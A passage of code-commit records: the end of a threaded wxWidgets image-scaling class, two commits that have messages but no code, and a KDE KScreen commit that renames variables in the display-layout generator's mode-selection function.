       continue;\r\n            }\r\n        }\r\n\r\n        wxImagePtr temp( new wxImage( get<2>( rect ).GetSize(), false ) );\r\n        if( ctx.mImage->HasAlpha() )\r\n        {\r\n            temp->SetAlpha( NULL );\r\n        }\r\n\r\n        GetScaledSubrect\r\n            (\r\n            *temp,\r\n            *ctx.mImage,\r\n            ctx.mScale,\r\n            get<2>( rect ).GetPosition(),\r\n            get<1>( rect )\r\n            );\r\n\r\n        if( ctx.mImage->HasAlpha() )\r\n        {\r\n            result.mImage = new wxImage( get<2>( rect ).GetSize(), false );\r\n            BlendPattern( *result.mImage, *temp, mStipple );\r\n        }\r\n        else\r\n        {\r\n            result.mImage = temp;\r\n        }\r\n\r\n        mResultQueue.Post( result );\r\n\r\n        wxQueueEvent( mEventSink, new wxThreadEvent( wxEVT_THREAD, mEventId ) );\r\n    }\r\n\r\n    return static_cast< wxThread::ExitCode >( 0 );\r\n}\r\n\r\nScaledImageFactory::ScaledImageFactory( wxEvtHandler* eventSink, int id )\r\n    : mEventSink( eventSink ), mEventId( id )\r\n{\r\n    size_t numThreads = wxThread::GetCPUCount();\r\n    if( numThreads <= 0 )   numThreads = 1;\r\n    if( numThreads > 1 )    numThreads--;\r\n\r\n    for( size_t i = 0; i < numThreads; ++i )\r\n    {\r\n        CreateThread();\r\n    }\r\n\r\n    for( wxThread*& thread : GetThreads() )\r\n    {\r\n        if( NULL == thread )\r\n            continue;\r\n\r\n        if( thread->Run() != wxTHREAD_NO_ERROR )\r\n        {\r\n            delete thread;\r\n            thread = NULL;\r\n        }\r\n    }\r\n    \r\n    Reset();\r\n\r\n    wxMemoryInputStream memStream( background_png, sizeof( background_png ) );\r\n    mStipple.LoadFile( memStream );\r\n}\r\n\r\nScaledImageFactory::~ScaledImageFactory()\r\n{\r\n    \/\/ clear job queue and send down \"kill\" jobs\r\n    mJobPool.Clear();\r\n    for( size_t i = 0; i < GetThreads().size(); ++i )\r\n    {\r\n        mJobPool.Post( JobItem( ExtRect(), Context() ) );\r\n    }\r\n\r\n    for( wxThread* thread : GetThreads() )\r\n    {\r\n        if( NULL == thread )\r\n            continue;\r\n\r\n        thread->Wait();\r\n    }\r\n}\r\n\r\nvoid ScaledImageFactory::SetImage( wxImagePtr& newImage )\r\n{\r\n    if( NULL == newImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    mCurrentCtx.mImage = newImage;\r\n    mJobPool.Clear();\r\n}\r\n\r\nvoid ScaledImageFactory::SetScale( double newScale )\r\n{\r\n    if( NULL == mCurrentCtx.mImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    mCurrentCtx.mGeneration++;\r\n    mCurrentCtx.mScale = newScale;\r\n    mJobPool.Clear();\r\n}\r\n\r\nbool ScaledImageFactory::AddRect( const ExtRect& rect )\r\n{\r\n    if( NULL == mCurrentCtx.mImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    return( wxSORTABLEMSGQUEUE_NO_ERROR == mJobPool.Post( JobItem( rect, mCurrentCtx ) ) );\r\n}\r\n\r\nbool ScaledImageFactory::GetImage( ExtRect& rect, wxImagePtr& image )\r\n{\r\n    ResultItem item;\r\n    wxMessageQueueError err;\r\n    while( true )\r\n    {\r\n        err = mResultQueue.ReceiveTimeout( 0, item );\r\n        if( wxMSGQUEUE_TIMEOUT == err )\r\n            return false;\r\n        if( wxMSGQUEUE_MISC_ERROR == err )\r\n            throw std::runtime_error( \"ResultQueue misc error!\" );\r\n        if( item.mGeneration != mCurrentCtx.mGeneration )\r\n            continue;\r\n        break;\r\n    }\r\n\r\n    rect = item.mRect;\r\n    image = item.mImage;\r\n    return true;\r\n}\r\n\r\nvoid ScaledImageFactory::SetVisibleArea( const wxRect& visible )\r\n{\r\n    wxCriticalSectionLocker locker( mVisibleCs );\r\n    mVisible = visible;\r\n}\r\n\r\nvoid ScaledImageFactory::Reset()\r\n{\r\n    mJobPool.Clear();\r\n    mResultQueue.Clear();\r\n\r\n    mCurrentCtx.mGeneration++;\r\n    mCurrentCtx.mScale = 1.0;\r\n    mCurrentCtx.mImage.reset();\r\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Abstract Classes - Polymorphism<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix creation of function definition asts<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************************\n *  Copyright (C) 2012 by Alejandro Fiestas Olivares <afiestas@kde.org>              *\n *                                                                                   *\n *  This program is free software; you can redistribute it and\/or                    *\n *  modify it under the terms of the GNU General Public License                      *\n *  as published by the Free Software Foundation; either version 2                   *\n *  of the License, or (at your option) any later version.                           *\n *                                                                                   *\n *  This program is distributed in the hope that it will be useful,                  *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of                   *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                    *\n *  GNU General Public License for more details.                                     *\n *                                                                                   *\n *  You should have received a copy of the GNU General Public License                *\n *  along with this program; if not, write to the Free Software                      *\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA   *\n *************************************************************************************\/\n\n#include \"generator.h\"\n#include \"device.h\"\n\n#include <QDBusReply>\n#include <QDBusMessage>\n#include <QDBusConnection>\n\n#include <kdebug.h>\n#include <kscreen\/config.h>\n\nGenerator* Generator::instance = 0;\n\nGenerator* Generator::self()\n{\n    if (!Generator::instance) {\n        Generator::instance = new Generator();\n    }\n    return Generator::instance;\n}\n\nGenerator::Generator()\n : QObject()\n , m_isReady(false)\n , m_forceLaptop(false)\n , m_forceLidClosed(false)\n , m_forceDocked(false)\n{\n    connect(Device::self(), SIGNAL(ready()), SIGNAL(ready()));\n}\n\nvoid Generator::destroy()\n{\n    delete Generator::instance;\n    Generator::instance = 0;\n}\n\nGenerator::~Generator()\n{\n}\n\nKScreen::Config* Generator::idealConfig()\n{\n    KDebug::Block idealBlock(\"Ideal Config\");\n    KScreen::Config* config = KScreen::Config::current();\n    if (!config) {\n        kDebug() << \"Unable get current config\";\n        return 0;\n    }\n\n    disableAllDisconnectedOutputs(config->outputs());\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    kDebug() << \"Connected outputs: \" << outputs.count();\n\n    if (outputs.isEmpty()) {\n        return config;\n    }\n\n    if (outputs.count() == 1) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (isLaptop()) {\n        laptop(outputs);\n        return fallbackIfNeeded(config);\n    }\n\n    extendToRight(outputs);\n\n    return fallbackIfNeeded(config);\n}\n\nKScreen::Config* Generator::fallbackIfNeeded(KScreen::Config* config)\n{\n    \/\/If the ideal config can't be applied, try clonning\n    if (!KScreen::Config::canBeApplied(config)) {\n        delete config;\n        config = displaySwitch(1);\/\/ Try to clone at our best\n    }\n\n    \/\/If after trying to clone at our best, we fail... return current\n    if (!KScreen::Config::canBeApplied(config)) {\n        delete config;\n        config = KScreen::Config::current();\n    }\n\n    return config;\n}\n\nKScreen::Config* Generator::displaySwitch(int iteration)\n{\n    KDebug::Block switchBlock(\"Display Switch\");\n    KScreen::Config* config = KScreen::Config::current();\n    if (!config) {\n        kDebug() << \"Unable to get current config\";\n        return 0;\n    }\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() < 2) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (outputs.count() > 2) {\n        extendToRight(outputs);\n        return config;\n    }\n\n    KScreen::Output* embedded, *external;\n    embedded = embeddedOutput(outputs);\n    if (embedded) {\n        outputs.remove(embedded->id());\n    }\n    external = outputs.value(outputs.keys().first());\n\n    if (iteration == 1) {\n        kDebug() << \"Cloning\";\n        KScreen::ModeList embeddedModes = embedded->modes();\n        QMap<QString, QSize> embeddedModeSize;\n        Q_FOREACH(KScreen::Mode* mode, embeddedModes) {\n            embeddedModeSize.insert(mode->id(), mode->size());\n        }\n\n        QList<QString> embeddedKeys;\n        KScreen::ModeList externalCommon;\n        KScreen::ModeList externalModes = external->modes();\n        Q_FOREACH(KScreen::Mode* mode, externalModes) {\n            if (!embeddedModeSize.keys(mode->size()).isEmpty()) {\n                externalCommon.insert(mode->id(), mode);\n                embeddedKeys.append(embeddedModeSize.keys(mode->size()));\n            }\n        }\n\n        KScreen::ModeList embeddedCommon;\n        Q_FOREACH(const QString& key, embeddedKeys) {\n            embeddedCommon.insert(key, embeddedModes[key]);\n        }\n\n        KScreen::Mode* biggestEmbedded = !embeddedCommon.empty() ? biggestMode(embeddedCommon) : biggestMode(embeddedModes);\n        KScreen::Mode* biggestExternal = !externalCommon.empty() ? biggestMode(externalCommon) : biggestMode(externalModes);\n\n        embedded->setEnabled(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(biggestEmbedded->id());\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentModeId(biggestExternal->id());\n\n        return config;\n    }\n\n    if (iteration == 2) {\n        kDebug() << \"Extend to left\";\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentModeId(external->preferredModeId());\n\n        QSize size = external->currentMode()->size();\n        embedded->setPos(QPoint(size.width(), 0));\n        embedded->setEnabled(true);\n        embedded->setCurrentModeId(embedded->preferredModeId());\n        embedded->setPrimary(true);\n        return config;\n    }\n\n    if (iteration == 3) {\n        kDebug() << \"Turn of embedded (laptop)\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentModeId(external->preferredModeId());\n        return config;\n    }\n\n    if (iteration == 4) {\n        kDebug() << \"Turn off external screen\";\n        embedded->setEnabled(true);\n        embedded->setPrimary(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(embedded->preferredModeId());\n\n        external->setEnabled(false);\n        external->setPrimary(false);\n        return config;\n    }\n\n    if (iteration == 5) {\n        kDebug() << \"Extend to the right\";\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(embedded->preferredModeId());\n        embedded->setPrimary(true);\n        embedded->setEnabled(true);\n\n        QSize size = embedded->currentMode()->size();\n        external->setPos(QPoint(size.width(), 0));\n        external->setEnabled(true);\n        external->setCurrentModeId(external->preferredModeId());\n        external->setPrimary(false);\n\n        return config;\n    }\n\n    return config;\n}\n\nvoid Generator::singleOutput(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    KScreen::Output* output = outputs.take(outputs.keys().first());\n    Q_ASSERT(output);\n\n    output->setCurrentModeId(output->preferredModeId());\n    output->setEnabled(true);\n    output->setPrimary(true);\n    output->setPos(QPoint(0,0));\n}\n\nvoid Generator::laptop(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    KDebug::Block laptopBlock(\"Laptop config\");\n\n    KScreen::Output* embedded = embeddedOutput(outputs);\n    \/* Apparently older laptops use \"VGA-*\" as embedded output ID, so embeddedOutput()\n     * will fail, because it looks only for modern \"LVDS\", \"EDP\", etc. If we\n     * fail to detect which output is embedded, just use the one  with the lowest\n     * ID. It's a wild guess, but I think it's highly probable that it will work.\n     * See bug #318907 for further reference. -- dvratil\n     *\/\n    if (!embedded) {\n        QList<int> keys = outputs.keys();\n        qSort(keys);\n        embedded = outputs.value(keys.first());\n    }\n    outputs.remove(embedded->id());\n\n    if (outputs.isEmpty()) {\n        kWarning() << \"No external outputs found, going for singleOutput()\";\n        outputs.insert(embedded->id(), embedded);\n        return singleOutput(outputs);\n    }\n\n    if (isLidClosed() && outputs.count() == 1) {\n        kDebug() << \"With lid closed\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        KScreen::Output* external = outputs.value(outputs.keys().first());\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentModeId(external->preferredModeId());\n        external->setPos(QPoint(0, 0));\n\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() > 1) {\n        kDebug() << \"Lid is closed, and more than one output\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        extendToRight(outputs);\n        return;\n    }\n\n    kDebug() << \"Lid is open\";\n    \/\/If lid is open, laptop screen shuold be primary\n    embedded->setPos(QPoint(0,0));\n    embedded->setCurrentModeId(embedded->preferredModeId());\n    embedded->setPrimary(true);\n    embedded->setEnabled(true);\n\n    int globalWidth;\n    if (embedded->isHorizontal()) {\n        globalWidth = embedded->preferredMode()->size().width();\n    } else {\n        globalWidth = embedded->preferredMode()->size().height();\n    }\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setPos(QPoint(globalWidth, 0));\n    biggest->setEnabled(true);\n    biggest->setCurrentModeId(biggest->preferredModeId());\n    biggest->setPrimary(false);\n\n    if (biggest->isHorizontal()) {\n        globalWidth += biggest->currentMode()->size().width();\n    } else {\n        globalWidth += biggest->currentMode()->size().height();\n    }\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setCurrentModeId(output->preferredModeId());\n        output->setPos(QPoint(globalWidth, 0));\n        output->setPrimary(false);\n\n        if (output->isHorizontal()) {\n            globalWidth += output->currentMode()->size().width();\n        } else {\n            globalWidth += output->currentMode()->size().height();\n        }\n    }\n\n    if (isDocked()) {\n        kDebug() << \"Docked\";\n        embedded->setPrimary(false);\n        biggest->setPrimary(true);\n    }\n}\n\nvoid Generator::extendToRight(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    kDebug() << \"Extending to the right\";\n    KScreen::Output* biggest = biggestOutput(outputs);\n    Q_ASSERT(biggest);\n\n    outputs.remove(biggest->id());\n\n    biggest->setEnabled(true);\n    biggest->setPrimary(true);\n    biggest->setCurrentModeId(biggest->preferredModeId());\n    biggest->setPos(QPoint(0,0));\n\n    int globalWidth;\n    if (biggest->isHorizontal()) {\n        globalWidth = biggest->currentMode()->size().width();\n    } else {\n        globalWidth = biggest->currentMode()->size().height();\n    }\n\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setPrimary(false);\n        output->setCurrentModeId(output->preferredModeId());\n        output->setPos(QPoint(globalWidth, 0));\n\n        if (output->isHorizontal()) {\n            globalWidth += output->currentMode()->size().width();\n        } else {\n            globalWidth += output->currentMode()->size().height();\n        }\n    }\n}\n\nKScreen::Mode* Generator::biggestMode(const KScreen::ModeList& modes)\n{\n    int area, total = 0;\n    KScreen::Mode* biggest = 0;\n    Q_FOREACH(KScreen::Mode* mode, modes) {\n        area = mode->size().width() * mode->size().height();\n        if (area < total) {\n            continue;\n        }\n        if (area == total && mode->refreshRate() < biggest->refreshRate()) {\n            continue;\n        }\n        if (area == total && mode->refreshRate() > biggest->refreshRate()) {\n            biggest = mode;\n            continue;\n        }\n\n        total = area;\n        biggest = mode;\n    }\n\n    return biggest;\n}\n\nKScreen::Output* Generator::biggestOutput(const KScreen::OutputList &outputs)\n{\n    int area, total = 0;\n    KScreen::Output* biggest = 0;\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        KScreen::Mode* mode = output->preferredMode();\n        area = mode->size().width() * mode->size().height();\n        if (area <= total) {\n            continue;\n        }\n\n        total = area;\n        biggest = output;\n    }\n\n    return biggest;\n}\n\nvoid Generator::disableAllDisconnectedOutputs(const KScreen::OutputList& outputs)\n{\n    KDebug::Block disableBlock(\"Disabling disconnected screens\");\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!output->isConnected()) {\n            kDebug() << output->name() << \" Disabled\";\n            output->setEnabled(false);\n            output->setPrimary(false);\n        }\n    }\n}\n\nKScreen::Output* Generator::embeddedOutput(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (output->type() != KScreen::Output::Panel) {\n            continue;\n        }\n\n        return output;\n    }\n\n    return 0;\n}\n\nbool Generator::isLaptop()\n{\n    if (m_forceLaptop) {\n        return true;\n    }\n\n    return Device::self()->isLaptop();\n}\n\nbool Generator::isLidClosed()\n{\n    if (m_forceLidClosed) {\n        return true;\n    }\n\n    return Device::self()->isLidClosed();\n}\n\nbool Generator::isDocked()\n{\n    if (m_forceDocked) {\n        return true;\n    }\n\n    return Device::self()->isDocked();\n}\n\nvoid Generator::setForceLaptop(bool force)\n{\n    m_forceLaptop = force;\n}\n\nvoid Generator::setForceLidClosed(bool force)\n{\n    m_forceLidClosed = force;\n}\n\nvoid Generator::setForceDocked(bool force)\n{\n    m_forceDocked = force;\n}\n\n#include \"generator.moc\"\n<commit_msg>Use better variable names in Generator::biggestOutput()<commit_after>\/*************************************************************************************\n *  Copyright (C) 2012 by Alejandro Fiestas Olivares <afiestas@kde.org>              *\n *                                                                                   *\n *  This program is free software; you can redistribute it and\/or                    *\n *  modify it under the terms of the GNU General Public License                      *\n *  as published by the Free Software Foundation; either version 2                   *\n *  of the License, or (at your option) any later version.                           *\n *                                                                                   *\n *  This program is distributed in the hope that it will be useful,                  *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of                   *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                    *\n *  GNU General Public License for more details.                                     *\n *                                                                                   *\n *  You should have received a copy of the GNU General Public License                *\n *  along with this program; if not, write to the Free Software                      *\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA   *\n *************************************************************************************\/\n\n#include \"generator.h\"\n#include \"device.h\"\n\n#include <QDBusReply>\n#include <QDBusMessage>\n#include <QDBusConnection>\n\n#include <kdebug.h>\n#include <kscreen\/config.h>\n\nGenerator* Generator::instance = 0;\n\nGenerator* Generator::self()\n{\n    if (!Generator::instance) {\n        Generator::instance = new Generator();\n    }\n    return Generator::instance;\n}\n\nGenerator::Generator()\n : QObject()\n , m_isReady(false)\n , m_forceLaptop(false)\n , m_forceLidClosed(false)\n , m_forceDocked(false)\n{\n    connect(Device::self(), SIGNAL(ready()), SIGNAL(ready()));\n}\n\nvoid Generator::destroy()\n{\n    delete Generator::instance;\n    Generator::instance = 0;\n}\n\nGenerator::~Generator()\n{\n}\n\nKScreen::Config* Generator::idealConfig()\n{\n    KDebug::Block idealBlock(\"Ideal Config\");\n    KScreen::Config* config = KScreen::Config::current();\n    if (!config) {\n        kDebug() << \"Unable get current config\";\n        return 0;\n    }\n\n    disableAllDisconnectedOutputs(config->outputs());\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    kDebug() << \"Connected outputs: \" << outputs.count();\n\n    if (outputs.isEmpty()) {\n        return config;\n    }\n\n    if (outputs.count() == 1) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (isLaptop()) {\n        laptop(outputs);\n        return fallbackIfNeeded(config);\n    }\n\n    extendToRight(outputs);\n\n    return fallbackIfNeeded(config);\n}\n\nKScreen::Config* Generator::fallbackIfNeeded(KScreen::Config* config)\n{\n    \/\/If the ideal config can't be applied, try clonning\n    if (!KScreen::Config::canBeApplied(config)) {\n        delete config;\n        config = displaySwitch(1);\/\/ Try to clone at our best\n    }\n\n    \/\/If after trying to clone at our best, we fail... return current\n    if (!KScreen::Config::canBeApplied(config)) {\n        delete config;\n        config = KScreen::Config::current();\n    }\n\n    return config;\n}\n\nKScreen::Config* Generator::displaySwitch(int iteration)\n{\n    KDebug::Block switchBlock(\"Display Switch\");\n    KScreen::Config* config = KScreen::Config::current();\n    if (!config) {\n        kDebug() << \"Unable to get current config\";\n        return 0;\n    }\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() < 2) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (outputs.count() > 2) {\n        extendToRight(outputs);\n        return config;\n    }\n\n    KScreen::Output* embedded, *external;\n    embedded = embeddedOutput(outputs);\n    if (embedded) {\n        outputs.remove(embedded->id());\n    }\n    external = outputs.value(outputs.keys().first());\n\n    if (iteration == 1) {\n        kDebug() << \"Cloning\";\n        KScreen::ModeList embeddedModes = embedded->modes();\n        QMap<QString, QSize> embeddedModeSize;\n        Q_FOREACH(KScreen::Mode* mode, embeddedModes) {\n            embeddedModeSize.insert(mode->id(), mode->size());\n        }\n\n        QList<QString> embeddedKeys;\n        KScreen::ModeList externalCommon;\n        KScreen::ModeList externalModes = external->modes();\n        Q_FOREACH(KScreen::Mode* mode, externalModes) {\n            if (!embeddedModeSize.keys(mode->size()).isEmpty()) {\n                externalCommon.insert(mode->id(), mode);\n                embeddedKeys.append(embeddedModeSize.keys(mode->size()));\n            }\n        }\n\n        KScreen::ModeList embeddedCommon;\n        Q_FOREACH(const QString& key, embeddedKeys) {\n            embeddedCommon.insert(key, embeddedModes[key]);\n        }\n\n        KScreen::Mode* biggestEmbedded = !embeddedCommon.empty() ? biggestMode(embeddedCommon) : biggestMode(embeddedModes);\n        KScreen::Mode* biggestExternal = !externalCommon.empty() ? biggestMode(externalCommon) : biggestMode(externalModes);\n\n        embedded->setEnabled(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(biggestEmbedded->id());\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentModeId(biggestExternal->id());\n\n        return config;\n    }\n\n    if (iteration == 2) {\n        kDebug() << \"Extend to left\";\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentModeId(external->preferredModeId());\n\n        QSize size = external->currentMode()->size();\n        embedded->setPos(QPoint(size.width(), 0));\n        embedded->setEnabled(true);\n        embedded->setCurrentModeId(embedded->preferredModeId());\n        embedded->setPrimary(true);\n        return config;\n    }\n\n    if (iteration == 3) {\n        kDebug() << \"Turn of embedded (laptop)\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentModeId(external->preferredModeId());\n        return config;\n    }\n\n    if (iteration == 4) {\n        kDebug() << \"Turn off external screen\";\n        embedded->setEnabled(true);\n        embedded->setPrimary(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(embedded->preferredModeId());\n\n        external->setEnabled(false);\n        external->setPrimary(false);\n        return config;\n    }\n\n    if (iteration == 5) {\n        kDebug() << \"Extend to the right\";\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentModeId(embedded->preferredModeId());\n        embedded->setPrimary(true);\n        embedded->setEnabled(true);\n\n        QSize size = embedded->currentMode()->size();\n        external->setPos(QPoint(size.width(), 0));\n        external->setEnabled(true);\n        external->setCurrentModeId(external->preferredModeId());\n        external->setPrimary(false);\n\n        return config;\n    }\n\n    return config;\n}\n\nvoid Generator::singleOutput(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    KScreen::Output* output = outputs.take(outputs.keys().first());\n    Q_ASSERT(output);\n\n    output->setCurrentModeId(output->preferredModeId());\n    output->setEnabled(true);\n    output->setPrimary(true);\n    output->setPos(QPoint(0,0));\n}\n\nvoid Generator::laptop(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    KDebug::Block laptopBlock(\"Laptop config\");\n\n    KScreen::Output* embedded = embeddedOutput(outputs);\n    \/* Apparently older laptops use \"VGA-*\" as embedded output ID, so embeddedOutput()\n     * will fail, because it looks only for modern \"LVDS\", \"EDP\", etc. If we\n     * fail to detect which output is embedded, just use the one  with the lowest\n     * ID. It's a wild guess, but I think it's highly probable that it will work.\n     * See bug #318907 for further reference. -- dvratil\n     *\/\n    if (!embedded) {\n        QList<int> keys = outputs.keys();\n        qSort(keys);\n        embedded = outputs.value(keys.first());\n    }\n    outputs.remove(embedded->id());\n\n    if (outputs.isEmpty()) {\n        kWarning() << \"No external outputs found, going for singleOutput()\";\n        outputs.insert(embedded->id(), embedded);\n        return singleOutput(outputs);\n    }\n\n    if (isLidClosed() && outputs.count() == 1) {\n        kDebug() << \"With lid closed\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        KScreen::Output* external = outputs.value(outputs.keys().first());\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentModeId(external->preferredModeId());\n        external->setPos(QPoint(0, 0));\n\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() > 1) {\n        kDebug() << \"Lid is closed, and more than one output\";\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        extendToRight(outputs);\n        return;\n    }\n\n    kDebug() << \"Lid is open\";\n    \/\/If lid is open, laptop screen shuold be primary\n    embedded->setPos(QPoint(0,0));\n    embedded->setCurrentModeId(embedded->preferredModeId());\n    embedded->setPrimary(true);\n    embedded->setEnabled(true);\n\n    int globalWidth;\n    if (embedded->isHorizontal()) {\n        globalWidth = embedded->preferredMode()->size().width();\n    } else {\n        globalWidth = embedded->preferredMode()->size().height();\n    }\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setPos(QPoint(globalWidth, 0));\n    biggest->setEnabled(true);\n    biggest->setCurrentModeId(biggest->preferredModeId());\n    biggest->setPrimary(false);\n\n    if (biggest->isHorizontal()) {\n        globalWidth += biggest->currentMode()->size().width();\n    } else {\n        globalWidth += biggest->currentMode()->size().height();\n    }\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setCurrentModeId(output->preferredModeId());\n        output->setPos(QPoint(globalWidth, 0));\n        output->setPrimary(false);\n\n        if (output->isHorizontal()) {\n            globalWidth += output->currentMode()->size().width();\n        } else {\n            globalWidth += output->currentMode()->size().height();\n        }\n    }\n\n    if (isDocked()) {\n        kDebug() << \"Docked\";\n        embedded->setPrimary(false);\n        biggest->setPrimary(true);\n    }\n}\n\nvoid Generator::extendToRight(KScreen::OutputList& outputs)\n{\n    Q_ASSERT(!outputs.isEmpty());\n\n    kDebug() << \"Extending to the right\";\n    KScreen::Output* biggest = biggestOutput(outputs);\n    Q_ASSERT(biggest);\n\n    outputs.remove(biggest->id());\n\n    biggest->setEnabled(true);\n    biggest->setPrimary(true);\n    biggest->setCurrentModeId(biggest->preferredModeId());\n    biggest->setPos(QPoint(0,0));\n\n    int globalWidth;\n    if (biggest->isHorizontal()) {\n        globalWidth = biggest->currentMode()->size().width();\n    } else {\n        globalWidth = biggest->currentMode()->size().height();\n    }\n\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setPrimary(false);\n        output->setCurrentModeId(output->preferredModeId());\n        output->setPos(QPoint(globalWidth, 0));\n\n        if (output->isHorizontal()) {\n            globalWidth += output->currentMode()->size().width();\n        } else {\n            globalWidth += output->currentMode()->size().height();\n        }\n    }\n}\n\nKScreen::Mode* Generator::biggestMode(const KScreen::ModeList& modes)\n{\n    int modeArea, biggestArea = 0;\n    KScreen::Mode* biggestMode = 0;\n    Q_FOREACH(KScreen::Mode* mode, modes) {\n        modeArea = mode->size().width() * mode->size().height();\n        if (modeArea < biggestArea) {\n            continue;\n        }\n        if (modeArea == biggestArea && mode->refreshRate() < biggestMode->refreshRate()) {\n            continue;\n        }\n        if (modeArea == biggestArea && mode->refreshRate() > biggestMode->refreshRate()) {\n            biggestMode = mode;\n            continue;\n        }\n\n        biggestArea = modeArea;\n        biggestMode = mode;\n    }\n\n    return biggestMode;\n}\n\nKScreen::Output* Generator::biggestOutput(const KScreen::OutputList &outputs)\n{\n    int area, total = 0;\n    KScreen::Output* biggest = 0;\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        KScreen::Mode* mode = output->preferredMode();\n        area = mode->size().width() * mode->size().height();\n        if (area <= total) {\n            continue;\n        }\n\n        total = area;\n        biggest = output;\n    }\n\n    return biggest;\n}\n\nvoid Generator::disableAllDisconnectedOutputs(const KScreen::OutputList& outputs)\n{\n    KDebug::Block disableBlock(\"Disabling disconnected screens\");\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!output->isConnected()) {\n            kDebug() << output->name() << \" Disabled\";\n            output->setEnabled(false);\n            output->setPrimary(false);\n        }\n    }\n}\n\nKScreen::Output* Generator::embeddedOutput(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (output->type() != KScreen::Output::Panel) {\n            continue;\n        }\n\n        return output;\n    }\n\n    return 0;\n}\n\nbool Generator::isLaptop()\n{\n    if (m_forceLaptop) {\n        return true;\n    }\n\n    return Device::self()->isLaptop();\n}\n\nbool Generator::isLidClosed()\n{\n    if (m_forceLidClosed) {\n        return true;\n    }\n\n    return Device::self()->isLidClosed();\n}\n\nbool Generator::isDocked()\n{\n    if (m_forceDocked) {\n        return true;\n    }\n\n    return Device::self()->isDocked();\n}\n\nvoid Generator::setForceLaptop(bool force)\n{\n    m_forceLaptop = force;\n}\n\nvoid Generator::setForceLidClosed(bool force)\n{\n    m_forceLidClosed = force;\n}\n\nvoid Generator::setForceDocked(bool force)\n{\n    m_forceDocked = force;\n}\n\n#include \"generator.moc\"\n<|endoftext|>"}
